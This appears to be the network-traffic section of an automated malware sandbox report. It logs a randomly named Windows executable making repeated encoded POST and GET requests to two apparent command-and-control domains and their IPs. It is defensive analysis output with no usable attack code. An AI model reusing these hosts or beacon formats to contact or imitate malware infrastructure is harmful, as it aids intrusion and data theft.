Nov 22, 2024 14:45:20.776297092 CET	822	OUT	POST /hxmz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.futurevision.life Referer: http://www.futurevision.life/hxmz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 38 63 77 4e 39 6d 4a 58 6b 39 44 55 45 72 38 6d 38 70 61 42 53 33 46 2f 62 66 6c 69 34 63 2f 4b 72 41 75 39 66 72 51 63 42 70 71 4c 5a 56 4b 58 6d 46 6b 73 57 42 6a 45 42 7a 49 73 7a 2f 52 67 71 47 6c 36 76 6e 4f 77 65 48 33 49 4e 45 45 4d 5a 45 72 63 75 64 51 72 64 4e 72 39 35 53 69 4c 78 43 34 73 58 6b 65 6c 64 51 6f 46 34 38 39 2f 58 6f 54 63 70 79 42 4d 76 61 43 64 51 56 35 4d 6e 72 48 4d 62 6f 47 61 67 73 55 6f 61 39 35 37 53 39 48 65 70 76 52 74 63 68 73 79 51 56 4e 4c 52 55 30 61 36 55 47 71 5a 79 6a 36 69 58 6a 30 2b 74 6c 37 4c 43 41 6b 38 41 52 4a 6c 4e 74 43 5a 70 4d 61 4b 69 6f 3d Data Ascii: NjHpTfh=8cwN9mJXk9DUEr8m8paBS3F/bfli4c/KrAu9frQcBpqLZVKXmFksWBjEBzIsz/RgqGl6vnOweH3INEEMZErcudQrdNr95SiLxC4sXkeldQoF489/XoTcpyBMvaCdQV5MnrHMboGagsUoa957S9HepvRtchsyQVNLRU0a6UGqZyj6iXj0+tl7LCAk8ARJlNtCZpMaKio=
Nov 22, 2024 14:45:21.988147020 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 13:45:21 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49714	203.161.49.193	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:23.435933113 CET	842	OUT	POST /hxmz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.futurevision.life Referer: http://www.futurevision.life/hxmz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 38 63 77 4e 39 6d 4a 58 6b 39 44 55 57 2f 41 6d 76 34 61 42 61 33 46 38 65 66 6c 69 32 38 2f 4f 72 41 69 39 66 71 55 79 42 2f 36 4c 65 78 61 58 6e 45 6b 73 52 42 6a 45 4b 54 49 70 33 2f 52 76 71 47 70 79 76 6b 57 77 65 48 6a 49 4e 41 55 4d 59 7a 2f 66 38 64 51 70 57 74 72 2f 32 79 69 4c 78 43 34 73 58 6b 61 50 64 51 77 46 37 4e 4e 2f 56 4a 54 64 6b 53 42 54 6f 61 43 64 42 46 34 4c 6e 72 48 4c 62 74 65 30 67 71 59 6f 61 34 64 37 54 6f 7a 66 6a 76 52 6a 54 42 74 32 44 57 6f 31 4a 57 49 5a 79 53 65 50 54 77 58 37 71 42 53 65 6b 50 74 39 49 43 6f 50 38 44 35 2f 67 36 77 71 44 4b 63 71 55 31 2b 37 34 34 43 71 51 6a 50 50 50 63 79 6c 2b 6f 75 6c 6f 47 49 62 Data Ascii: NjHpTfh=8cwN9mJXk9DUW/Amv4aBa3F8efli28/OrAi9fqUyB/6LexaXnEksRBjEKTIp3/RvqGpyvkWweHjINAUMYz/f8dQpWtr/2yiLxC4sXkaPdQwF7NN/VJTdkSBToaCdBF4LnrHLbte0gqYoa4d7TozfjvRjTBt2DWo1JWIZySePTwX7qBSekPt9ICoP8D5/g6wqDKcqU1+744CqQjPPPcyl+ouloGIb
Nov 22, 2024 14:45:24.696316957 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 13:45:24 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49715	203.161.49.193	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:26.137670994 CET	1859	OUT	POST /hxmz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.futurevision.life Referer: http://www.futurevision.life/hxmz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 38 63 77 4e 39 6d 4a 58 6b 39 44 55 57 2f 41 6d 76 34 61 42 61 33 46 38 65 66 6c 69 32 38 2f 4f 72 41 69 39 66 71 55 79 42 2f 79 4c 65 47 79 58 6d 6a 34 73 51 42 6a 45 4a 54 49 6f 33 2f 52 32 71 47 68 32 76 6a 65 47 65 42 76 49 4e 69 63 4d 66 47 44 66 32 64 51 70 4c 39 72 2b 35 53 69 65 78 43 6f 67 58 6b 4b 50 64 51 77 46 37 4f 56 2f 53 59 54 64 6d 53 42 4d 76 61 43 76 51 56 34 76 6e 76 72 39 62 74 54 42 67 61 34 6f 61 65 39 37 65 2b 66 66 76 76 52 32 51 42 74 51 44 57 55 51 4a 57 55 6a 79 53 43 78 54 79 33 37 70 6c 61 49 77 65 31 6d 63 44 68 77 2b 51 55 55 70 59 49 70 41 71 67 41 58 56 75 67 31 4f 6a 4b 5a 42 33 55 45 4e 6a 33 72 65 4f 47 34 32 31 71 4d 7a 47 74 71 5a 72 67 57 63 4a 78 49 79 79 6e 39 69 2f 6e 4d 4f 46 52 68 4f 59 67 6f 47 6d 6a 59 35 39 41 38 6b 77 52 6d 47 52 51 59 47 74 45 2f 52 4d 30 6c 51 4a 2f 33 34 47 41 30 4c 39 68 41 64 2f 4d 4e 73 38 74 38 6e 68 2f 6e 6e 59 6f 4f 5a 67 4e 6c 79 5a 77 41 47 41 2b 56 75 30 2b 53 6c 4e 4f 52 38 34 77 7a 58 75 34 67 32 [TRUNCATED] Data Ascii: NjHpTfh=8cwN9mJXk9DUW/Amv4aBa3F8efli28/OrAi9fqUyB/yLeGyXmj4sQBjEJTIo3/R2qGh2vjeGeBvINicMfGDf2dQpL9r+5SiexCogXkKPdQwF7OV/SYTdmSBMvaCvQV4vnvr9btTBga4oae97e+ffvvR2QBtQDWUQJWUjySCxTy37plaIwe1mcDhw+QUUpYIpAqgAXVug1OjKZB3UENj3reOG421qMzGtqZrgWcJxIyyn9i/nMOFRhOYgoGmjY59A8kwRmGRQYGtE/RM0lQJ/34GA0L9hAd/MNs8t8nh/nnYoOZgNlyZwAGA+Vu0+SlNOR84wzXu4g2smKw4iPWO103OxaW5SIfIDlJuHWWZQM+4tz7C8LlOXTaOsaUdfXnIqQNJXRcNIYJ4qMpDfgdStx2+2euNzSPMImzS5qG4aEISZYVSP+SWAsvvJTiFJxBDIWxoDKyzRe52CXLNZCmI4nobop6h8RgWYemxE7PLqTTGpQHDDpDXxPjv051hjD4ps3YVnodJmnH+BtkFDOw7mwO25TltmRKi9h0sYs295ljotKIPQfo6KBQVXk7pSgVMkibBSqWnqsXuhOi38nBdjnSPiuy7nEVcc9hgITxRCBKHpP/jC6x21DcHoRRGKQkOEVC0Xy34R/O7HR0lJ09zlJz4cxMPO7CMzYG3eW5sxzPlQVdQGIk8UqaqNnsE6FOKDLsE2ucZuVNhLtoAREDCFxuC69me2/UECnNqdnY4hQ2FnlXWqXJ2aUrcxx0FDJ71jox7uc2mgqJ2Pm/9ECaBjzHeZ3o8gAzAPvW6Fc0djOgTT3l+jpKH6AYnkODTVN6ROL96lFAJYgFAkVQgy4XXP+tno+oAoIQJJQ9CoyTi+SnnukN3X6MEEzw1UHzZaSgVONcopC+fJO+GURkqKLP3me5piG0JDFZ4GYbWTEyVNiyZ9tWf2c037CrGxIs2n6ullkPqIEEhVOphG1sTDDlQPx0/umhBbU0uAVqhsyjq6H4sD [TRUNCATED]
Nov 22, 2024 14:45:27.401501894 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 13:45:27 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49716	203.161.49.193	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:28.842729092 CET	558	OUT	GET /hxmz/?NjHpTfh=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H70ewIeMOmwh+ftSU1XmKvTSoNxNN/QLOdtg9qtYWOUm1ByQ==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:45:30.073261023 CET	548	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 13:45:29 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49717	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:35.744465113 CET	828	OUT	POST /slxp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.schedulemassage.xyz Referer: http://www.schedulemassage.xyz/slxp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 64 70 2b 4d 32 37 4f 7a 59 42 55 42 67 49 50 2b 59 57 57 6b 71 55 59 61 48 4f 42 5a 33 2b 32 69 6d 51 56 2f 41 4c 35 6d 68 39 36 6f 6e 69 69 34 71 78 52 54 42 36 6f 41 50 56 4b 4b 54 6d 46 69 61 2b 59 4d 53 6c 75 52 35 43 45 63 4e 4e 6d 52 75 4a 5a 46 33 74 6f 4b 6e 61 69 49 77 58 36 71 7a 72 65 59 44 6e 73 4e 72 6d 49 45 62 6d 2b 51 4d 57 65 36 53 5a 6e 5a 6c 35 42 41 62 61 42 71 4a 54 7a 64 31 6e 68 51 6a 65 5a 4f 69 79 55 59 32 61 76 35 4d 2f 38 47 59 79 33 66 6a 35 76 70 57 32 33 55 4c 6a 54 56 44 76 35 42 32 42 31 4c 47 76 68 50 69 4f 35 4c 62 61 6c 34 49 67 31 4a 6e 61 65 4b 4a 70 77 3d Data Ascii: NjHpTfh=dp+M27OzYBUBgIP+YWWkqUYaHOBZ3+2imQV/AL5mh96onii4qxRTB6oAPVKKTmFia+YMSluR5CEcNNmRuJZF3toKnaiIwX6qzreYDnsNrmIEbm+QMWe6SZnZl5BAbaBqJTzd1nhQjeZOiyUY2av5M/8GYy3fj5vpW23ULjTVDv5B2B1LGvhPiO5Lbal4Ig1JnaeKJpw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49718	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:38.399326086 CET	848	OUT	POST /slxp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.schedulemassage.xyz Referer: http://www.schedulemassage.xyz/slxp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 64 70 2b 4d 32 37 4f 7a 59 42 55 42 68 70 2f 2b 64 78 43 6b 6a 55 59 46 43 4f 42 5a 39 65 33 72 6d 51 70 2f 41 4b 4e 4d 68 76 65 6f 6e 47 75 34 34 45 74 54 41 36 6f 41 58 46 4c 41 58 6d 46 31 61 2b 55 69 53 68 6d 52 35 43 41 63 4e 4a 69 52 75 36 78 47 74 64 6f 49 75 36 69 4f 39 33 36 71 7a 72 65 59 44 6a 45 72 72 6d 51 45 62 32 75 51 4e 30 6d 35 4e 70 6e 65 69 35 42 41 52 36 42 75 4a 54 7a 6a 31 69 34 59 6a 63 68 4f 69 33 77 59 32 4c 76 2b 44 2f 39 4e 63 79 32 30 6b 34 53 51 53 55 6a 4e 48 42 2f 4f 42 59 5a 4f 7a 33 45 68 63 4e 70 4a 68 4f 52 67 62 5a 4e 4f 4e 58 6f 68 39 35 4f 36 58 2b 6d 41 36 73 2b 35 6e 66 4d 66 63 53 78 32 2f 4d 59 7a 43 33 30 37 Data Ascii: NjHpTfh=dp+M27OzYBUBhp/+dxCkjUYFCOBZ9e3rmQp/AKNMhveonGu44EtTA6oAXFLAXmF1a+UiShmR5CAcNJiRu6xGtdoIu6iO936qzreYDjErrmQEb2uQN0m5Npnei5BAR6BuJTzj1i4YjchOi3wY2Lv+D/9Ncy20k4SQSUjNHB/OBYZOz3EhcNpJhORgbZNONXoh95O6X+mA6s+5nfMfcSx2/MYzC307

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49719	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:41.062104940 CET	1865	OUT	POST /slxp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.schedulemassage.xyz Referer: http://www.schedulemassage.xyz/slxp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 64 70 2b 4d 32 37 4f 7a 59 42 55 42 68 70 2f 2b 64 78 43 6b 6a 55 59 46 43 4f 42 5a 39 65 33 72 6d 51 70 2f 41 4b 4e 4d 68 76 57 6f 6e 7a 79 34 70 58 46 54 44 36 6f 41 4a 56 4c 44 58 6d 45 33 61 2b 4d 75 53 68 69 72 35 45 63 63 4d 71 71 52 6f 4c 78 47 6a 74 6f 49 73 36 69 50 77 58 36 46 7a 72 4f 55 44 6e 67 72 72 6d 51 45 62 77 53 51 62 57 65 35 65 35 6e 5a 6c 35 42 63 62 61 42 47 4a 54 37 73 31 6a 4d 49 69 73 42 4f 6a 58 41 59 77 35 58 2b 63 50 39 50 62 79 32 73 6b 34 65 78 53 58 48 37 48 46 2f 77 42 65 70 4f 78 51 70 4b 44 38 4e 77 2f 73 46 75 55 2b 6b 6b 56 31 38 66 69 50 61 2b 66 73 4b 61 78 59 75 78 75 73 35 56 57 6a 67 62 6a 73 30 69 49 52 56 44 53 6b 38 74 37 54 35 30 4f 66 50 49 74 31 34 50 6a 74 6a 6f 74 59 50 4d 49 74 36 62 75 6a 4b 61 33 42 5a 49 70 2f 34 66 6b 79 38 71 43 6c 76 46 34 50 31 41 34 7a 49 36 46 51 6d 35 63 70 7a 31 39 77 71 57 78 4d 32 45 2f 43 73 49 64 2f 71 6b 46 4d 2f 44 68 76 5a 66 35 49 57 7a 57 76 63 6a 39 68 65 64 69 48 49 4e 74 2b 70 6f 58 33 [TRUNCATED] Data Ascii: NjHpTfh=dp+M27OzYBUBhp/+dxCkjUYFCOBZ9e3rmQp/AKNMhvWonzy4pXFTD6oAJVLDXmE3a+MuShir5EccMqqRoLxGjtoIs6iPwX6FzrOUDngrrmQEbwSQbWe5e5nZl5BcbaBGJT7s1jMIisBOjXAYw5X+cP9Pby2sk4exSXH7HF/wBepOxQpKD8Nw/sFuU+kkV18fiPa+fsKaxYuxus5VWjgbjs0iIRVDSk8t7T50OfPIt14PjtjotYPMIt6bujKa3BZIp/4fky8qClvF4P1A4zI6FQm5cpz19wqWxM2E/CsId/qkFM/DhvZf5IWzWvcj9hediHINt+poX3WACOLOqGctHAY5sRVYevZuf822sC/5mOUXxcG6erqRe2Zj7HSqgwo/0cB6W19v2De98hrEHUla82RbWQP11bqo3PNy/5BIjIO1J/k8dCknd44d405OqJaFHDvbkU/lsYKuMWiTecAStJOPPbFOi7fKBqydXy8ozTLu8bK996jlnT7fhSTaRj6B2HHuaQdCqEuhYbhbb9FJc0XSATw5uWUb8J+q7Rj/3ndFrpi0aGgPjA1oh3ICMrbbTxdpJzsjwscD4ZmjhZvc4ETNM9KKS2FqdZHrBSG+KXq2isfT0RL4smk1o5CAS7kjinyzSrMRMsmjOUFB9yMTRGa5jp6Gh1OcCYnGCO8DzGNeY80mOFOzww1JFo4v2CgiBDzU8+DTHnyhrwWcHpzeeG7fZQEtF1WLdQJKXMUSeLYfIlQ0+N1mbaNWlUiwWcDHZ4zdR4tO8CSrJb2S73/0WcOZrOkycM3wKxUC9orBCBHif/ou8A36K2dw+hC5Mc0xmhJdIsVYZGSsSBwxaelns2bf/6TlIM28qHbEt+TSWMqI/+CeAs6lylIFBh2uUF+mEpHBGyWjXBsMBP/Hasr9mTF7iqxagZjNAuoMCm7Kczbe5/V5AP4mxxfsdouemfoAXMF9xrGab1x8q6WB+CqhHypVxnfpU8F2ZZtwXZh6Sto3 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49720	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:43.709770918 CET	560	OUT	GET /slxp/?NjHpTfh=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOs9wYs5314wmawIeBCSIctWMwFCyIHUycaencn4NBaeE5ag==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
